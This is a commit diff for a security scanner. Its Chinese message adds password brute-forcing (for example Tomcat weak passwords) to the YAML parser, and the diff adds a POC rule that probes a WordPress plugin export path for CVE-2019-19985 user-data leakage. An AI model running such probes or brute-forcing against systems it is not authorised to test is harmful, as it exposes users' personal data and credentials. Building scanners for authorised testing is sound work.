修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

WebScan/pocs/wordpress-cve-2019-19985-infoleak.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-wordpress-cve-2019-19985-infoleak
+rules:
+  - method: GET
+    path: "/wp-admin/admin.php?page=download_report&report=users&status=all"
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"]))
+detail:
+  author: bufsnake(https://github.com/bufsnake)
+  links:
+    - https://www.exploit-db.com/exploits/48698